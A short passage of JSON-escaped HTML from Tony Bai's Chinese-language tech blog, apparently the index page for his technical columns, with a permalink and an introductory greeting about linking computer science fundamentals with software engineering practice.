loading=\"lazy\" src=\"/images/wp-content/uploads/tech-column-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/tech-column\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/tech-column\"\u003ehttps://tonybai.com/tech-column\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e欢迎来到\u003cstrong\u003e我的技术专栏汇总页\u003c/strong\u003e。\u003c/p\u003e\n\u003cp\u003e在多年的技术创作中，我始终致力于\u003cstrong\u003e连接两个世界\u003c/strong\u003e：一个是计算机科学的底层世界，那里充满了优雅的原理和不变的基石；另一个是软件工程的实践世界，那里充满了复杂的挑战和具体的“坑”。\u003c/p\u003e","title":"我的技术专栏"}]